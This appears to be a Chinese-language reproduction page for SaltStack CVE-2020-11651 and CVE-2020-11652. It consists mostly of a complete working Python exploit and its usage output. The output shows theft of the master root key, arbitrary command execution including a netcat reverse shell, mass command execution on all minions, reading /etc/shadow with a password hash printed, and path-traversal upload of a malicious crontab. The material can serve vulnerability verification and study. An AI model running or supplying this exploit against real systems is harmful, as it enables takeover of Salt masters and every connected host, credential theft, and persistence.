（CVE-2020-11651）SaltStack远程命令执行漏洞

一、漏洞简介

二、漏洞影响

SaltStack \< 2019.2.4SaltStack \< 3000.2

三、复现过程

Usage

默认操作（不带参数）是获取给定主机的密钥:

root@kalimah:~/salt# python3 exploit.py --master 192.168.115.130
[!] Please only use this script to verify you have correctly patched systems you have permission to access. Hit ^C to abort.
[+] Salt version: 3000.1
[ ] This version of salt is vulnerable! Check results below
[+] Checking salt-master (192.168.115.130:4506) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651...
[*] root key obtained: b5pKEa3Mbp/TD7TjdtUTLxnk0LIANRZXC+9XFNIChUr6ZwIrBZJtoZZ8plfiVx2ztcVxjK2E1OA=
root@kalimah:~/salt#

在主机上执行任意命令:

root@kalimah:~/salt# python3 exploit.py --master 192.168.115.130 --exec "nc 127.0.0.1 4444 -e /bin/sh"
[!] Please only use this script to verify you have correctly patched systems you have permission to access. Hit ^C to abort.
[+] Salt version: 3000.1
[ ] This version of salt is vulnerable! Check results below
[+] Checking salt-master (192.168.115.130:4506) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651...
[*] root key obtained: b5pKEa3Mbp/TD7TjdtUTLxnk0LIANRZXC+9XFNIChUr6ZwIrBZJtoZZ8plfiVx2ztcVxjK2E1OA=
[+] Attemping to execute nc 127.0.0.1 4444 -e /bin/sh on 192.168.115.130
[+] Successfully scheduled job: 20200504153851746472
root@kalimah:~/salt#

The same, but on all minions:

root@kalimah:~/salt# python3 exploit.py --master 192.168.115.130 --exec-all="apt-get upgrade -y"
[!] Please only use this script to verify you have correctly patched systems you have permission to access. Hit ^C to abort.
[+] Salt version: 3000.1
[ ] This version of salt is vulnerable! Check results below
[+] Checking salt-master (192.168.115.130:4506) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651...
[*] root key obtained: b5pKEa3Mbp/TD7TjdtUTLxnk0LIANRZXC+9XFNIChUr6ZwIrBZJtoZZ8plfiVx2ztcVxjK2E1OA=
[!] Lester, is this what you want? Hit ^C to abort.
[+] Attemping to execute 'apt-get upgrade -y' on all minions connected to 192.168.115.130
[+] Successfully submitted job to all minions.
root@kalimah:~/salt#

任意文件读取:

root@kalimah:~/salt# python2 exploit.py --master 192.168.115.130 -r /etc/shadow
[+] Salt version: 2019.2.0
[ ] This version of salt is vulnerable! Check results below
[+] Checking salt-master (192.168.115.130:4506) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651...
[*] root key obtained: GkJiProN36+iZ53buhvhm3dWcC/7BZyEomu3lSFucQF9TkrCRfA32EIFAk/yyQMkCyqZyxjjp/E=
[+] Attemping to read /etc/shadow from 192.168.115.130
root:$6$7qfolaa/$3yhszWj/VUJjfPaqr1yO6NLgV/FhHnVT9Pr6spwJ/F0BJw5vFM.3KjtwcnnuGo5uSJJkLrd28jXrmVZUD9nEI/:17812:0:99999:7:::
daemon:*:17785:0:99999:7:::
bin:*:17785:0:99999:7:::
sys:*:17785:0:99999:7:::
sync:*:17785:0:99999:7:::
games:*:17785:0:99999:7:::
man:*:17785:0:99999:7:::
[...]

可以使用--upload src和--upload dest上传文件。注意目标必须是相对路径:

root@kalimah:~/salt#  python2 exploit.py --upload-src evil.crontab --upload-dest ../../../../../../var/spool/cron/crontabs/root
[+] Salt version: 2019.2.0
[ ] This version of salt is vulnerable! Check results below
[+] Checking salt-master (127.0.0.1:4506) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651...
[*] root key obtained: GkJiProN36+iZ53buhvhm3dWcC/7BZyEomu3lSFucQF9TkrCRfA32EIFAk/yyQMkCyqZyxjjp/E=
[-] Destination path must be relative
[+] Attemping to upload evil.crontab to ../../../../../../var/spool/cron/crontabs/root on 127.0.0.1
[ ] Wrote data to file /srv/salt/../../../../../../var/spool/cron/crontabs/root

Requirements

• Python 2 or 3
• Salt (pip3 install salt)

poc

#!/usr/bin/env python
#
# Exploit for CVE-2020-11651 and CVE-2020-11652
# Written by Jasper Lievisse Adriaanse (https://github.com/jasperla/CVE-2020-11651-poc)
# This exploit is based on this checker script:
# https://github.com/rossengeorgiev/salt-security-backports

from __future__ import absolute_import, print_function, unicode_literals
import argparse
import datetime
import os
import os.path
import sys
import time

import salt
import salt.version
import salt.transport.client
import salt.exceptions

def init_minion(master_ip, master_port):
    minion_config = {
        'transport': 'zeromq',
        'pki_dir': '/tmp',
        'id': 'root',
        'log_level': 'debug',
        'master_ip': master_ip,
        'master_port': master_port,
        'auth_timeout': 5,
        'auth_tries': 1,
        'master_uri': 'tcp://{0}:{1}'.format(master_ip, master_port)
    }

    return salt.transport.client.ReqChannel.factory(minion_config, crypt='clear')

# --- check funcs ----

def check_salt_version():
  print("[+] Salt version: {}".format(salt.version.__version__))

  vi = salt.version.__version_info__

  if (vi < (2019, 2, 4) or (3000,) <= vi < (3000, 2)):
     return True
  else:
     return False

def check_connection(master_ip, master_port, channel):
  print("[+] Checking salt-master ({}:{}) status... ".format(master_ip, master_port), end='')
  sys.stdout.flush()

  # connection check
  try:
    channel.send({'cmd':'ping'}, timeout=2)
  except salt.exceptions.SaltReqTimeoutError:
    print("OFFLINE")
    sys.exit(1)
  else:
    print("ONLINE")

def check_CVE_2020_11651(channel):
  print("[+] Checking if vulnerable to CVE-2020-11651... ", end='')
  sys.stdout.flush()
  # try to evil
  try:
    rets = channel.send({'cmd': '_prep_auth_info'}, timeout=3)
  except salt.exceptions.SaltReqTimeoutError:
    print("YES")
  except:
    print("ERROR")
    raise
  else:
      pass
  finally:
    if rets:
      root_key = rets[2]['root']
      return root_key

  return None

def check_CVE_2020_11652_read_token(debug, channel, top_secret_file_path):
  print("[+] Checking if vulnerable to CVE-2020-11652 (read_token)... ", end='')
  sys.stdout.flush()

  # try read file
  msg = {
    'cmd': 'get_token',
    'arg': [],
    'token': top_secret_file_path,
  }

  try:
    rets = channel.send(msg, timeout=3)
  except salt.exceptions.SaltReqTimeoutError:
    print("YES")
  except:
    print("ERROR")
    raise
  else:
    if debug:
      print()
      print(rets)
    print("NO")

def check_CVE_2020_11652_read(debug, channel, top_secret_file_path, root_key):
  print("[+] Checking if vulnerable to CVE-2020-11652 (read)... ", end='')
  sys.stdout.flush()

  # try read file
  msg = {
    'key': root_key,
    'cmd': 'wheel',
    'fun': 'file_roots.read',
    'path': top_secret_file_path,
    'saltenv': 'base',
  }

  try:
    rets = channel.send(msg, timeout=3)
  except salt.exceptions.SaltReqTimeoutError:
    print("TIMEOUT")
  except:
    print("ERROR")
    raise
  else:
    if debug:
      print()
      print(rets)
    if rets['data']['return']:
      print("YES")
    else:
      print("NO")

def check_CVE_2020_11652_write1(debug, channel, root_key):
  print("[+] Checking if vulnerable to CVE-2020-11652 (write1)... ", end='')
  sys.stdout.flush()

  # try read file
  msg = {
    'key': root_key,
    'cmd': 'wheel',
    'fun': 'file_roots.write',
    'path': '../../../../../../../../tmp/salt_CVE_2020_11652',
    'data': 'evil',
    'saltenv': 'base',
  }

  try:
    rets = channel.send(msg, timeout=3)
  except salt.exceptions.SaltReqTimeoutError:
    print("TIMEOUT")
  except:
    print("ERROR")
    raise
  else:
    if debug:
      print()
      print(rets)

    pp(rets)
    if rets['data']['return'].startswith('Wrote'):
      try:
        os.remove('/tmp/salt_CVE_2020_11652')
      except OSError:
        print("Maybe?")
      else:
        print("YES")
    else:
      print("NO")

def check_CVE_2020_11652_write2(debug, channel, root_key):
  print("[+] Checking if vulnerable to CVE-2020-11652 (write2)... ", end='')
  sys.stdout.flush()

  # try read file
  msg = {
    'key': root_key,
    'cmd': 'wheel',
    'fun': 'config.update_config',
    'file_name': '../../../../../../../../tmp/salt_CVE_2020_11652',
    'yaml_contents': 'evil',
    'saltenv': 'base',
  }

  try:
    rets = channel.send(msg, timeout=3)
  except salt.exceptions.SaltReqTimeoutError:
    print("TIMEOUT")
  except:
    print("ERROR")
    raise
  else:
    if debug:
      print()
      print(rets)
    if rets['data']['return'].startswith('Wrote'):
      try:
        os.remove('/tmp/salt_CVE_2020_11652.conf')
      except OSError:
        print("Maybe?")
      else:
        print("YES")
    else:
      print("NO")

def pwn_read_file(channel, root_key, path, master_ip):
    print("[+] Attemping to read {} from {}".format(path, master_ip))
    sys.stdout.flush()

    msg = {
        'key': root_key,
        'cmd': 'wheel',
        'fun': 'file_roots.read',
        'path': path,
        'saltenv': 'base',
    }

    rets = channel.send(msg, timeout=3)
    print(rets['data']['return'][0][path])

def pwn_upload_file(channel, root_key, src, dest, master_ip):
    print("[+] Attemping to upload {} to {} on {}".format(src, dest, master_ip))
    sys.stdout.flush()

    try:
        fh = open(src, 'rb')
        payload = fh.read()
        fh.close()
    except Exception as e:
        print('[-] Failed to read {}: {}'.format(src, e))
        return

    msg = {
        'key': root_key,
        'cmd': 'wheel',
        'fun': 'file_roots.write',
        'saltenv': 'base',
        'data': payload,
        'path': dest,
    }

    rets = channel.send(msg, timeout=3)
    print('[ ] {}'.format(rets['data']['return']))

def pwn_exec(channel, root_key, cmd, master_ip, jid):
    print("[+] Attemping to execute {} on {}".format(cmd, master_ip))
    sys.stdout.flush()

    msg = {
        'key': root_key,
        'cmd': 'runner',
        'fun': 'salt.cmd',
        'saltenv': 'base',
        'user': 'sudo_user',
        'kwarg': {
            'fun': 'cmd.exec_code',
            'lang': 'python',
            'code': "import subprocess;subprocess.call('{}',shell=True)".format(cmd)
        },
        'jid': jid,
    }

    try:
        rets = channel.send(msg, timeout=3)
    except Exception as e:
        print('[-] Failed to submit job')
        return

    if rets.get('jid'):
        print('[+] Successfully scheduled job: {}'.format(rets['jid']))

def pwn_exec_all(channel, root_key, cmd, master_ip, jid):
    print("[+] Attemping to execute '{}' on all minions connected to {}".format(cmd, master_ip))
    sys.stdout.flush()

    msg = {
        'key': root_key,
        'cmd': '_send_pub',
        'fun': 'cmd.run',
        'user': 'root',
        'arg': [ "/bin/sh -c '{}'".format(cmd) ],
        'tgt': '*',
        'tgt_type': 'glob',
        'ret': '',
        'jid': jid
    }

    try:
        rets = channel.send(msg, timeout=3)
    except Exception as e:
        print('[-] Failed to submit job')
        return
    finally:
        if rets == None:
            print('[+] Successfully submitted job to all minions.')
        else:
            print('[-] Failed to submit job')


def main():
    parser = argparse.ArgumentParser(description='Saltstack exploit for CVE-2020-11651 and CVE-2020-11652')
    parser.add_argument('--master', '-m', dest='master_ip', default='127.0.0.1')
    parser.add_argument('--port', '-p', dest='master_port', default='4506')
    parser.add_argument('--force', '-f', dest='force', default=False, action='store_false')
    parser.add_argument('--debug', '-d', dest='debug', default=False, action='store_true')
    parser.add_argument('--run-checks', '-c', dest='run_checks', default=False, action='store_true')
    parser.add_argument('--read', '-r', dest='read_file')
    parser.add_argument('--upload-src', dest='upload_src')
    parser.add_argument('--upload-dest', dest='upload_dest')
    parser.add_argument('--exec', dest='exec', help='Run a command on the master')
    parser.add_argument('--exec-all', dest='exec_all', help='Run a command on all minions')
    args = parser.parse_args()

    print("[!] Please only use this script to verify you have correctly patched systems you have permission to access. Hit ^C to abort.")
    time.sleep(1)

    # Both src and destination are required for uploads
    if (args.upload_src and args.upload_dest is None) or (args.upload_dest and args.upload_src is None):
        print('[-] Must provide both --upload-src and --upload-dest')
        sys.exit(1)

    channel = init_minion(args.master_ip, args.master_port)

    if check_salt_version():
       print("[ ] This version of salt is vulnerable! Check results below")
    elif args.force:
       print("[*] This version of salt does NOT appear vulnerable. Proceeding anyway as requested.")
    else:
       sys.exit()

    check_connection(args.master_ip, args.master_port, channel)

    root_key = check_CVE_2020_11651(channel)
    if root_key:
        print('\n[*] root key obtained: {}'.format(root_key))
    else:
        print('[-] Failed to find root key...aborting')
        sys.exit(127)

    if args.run_checks:
        # Assuming this check runs on the master itself, create a file with "secret" content
        # and abuse CVE-2020-11652 to read it.
        top_secret_file_path = '/tmp/salt_cve_teta'
        with salt.utils.fopen(top_secret_file_path, 'w') as fd:
            fd.write("top secret")

        # Again, this assumes we're running this check on the master itself
        with salt.utils.fopen('/var/cache/salt/master/.root_key') as keyfd:
            root_key = keyfd.read()

        check_CVE_2020_11652_read_token(debug, channel, top_secret_file_path)
        check_CVE_2020_11652_read(debug, channel, top_secret_file_path, root_key)
        check_CVE_2020_11652_write1(debug, channel, root_key)
        check_CVE_2020_11652_write2(debug, channel, root_key)
        os.remove(top_secret_file_path)
        sys.exit(0)

    if args.read_file:
        pwn_read_file(channel, root_key, args.read_file, args.master_ip)

    if args.upload_src:
        if os.path.isabs(args.upload_dest):
            print('[-] Destination path must be relative; aborting')
            sys.exit(1)
        pwn_upload_file(channel, root_key, args.upload_src, args.upload_dest, args.master_ip)


    jid = '{0:%Y%m%d%H%M%S%f}'.format(datetime.datetime.utcnow())

    if args.exec:
        pwn_exec(channel, root_key, args.exec, args.master_ip, jid)

    if args.exec_all:
        print("[!] Lester, is this what you want? Hit ^C to abort.")
        time.sleep(2)
        pwn_exec_all(channel, root_key, args.exec_all, args.master_ip, jid)


if __name__ == '__main__':
    main()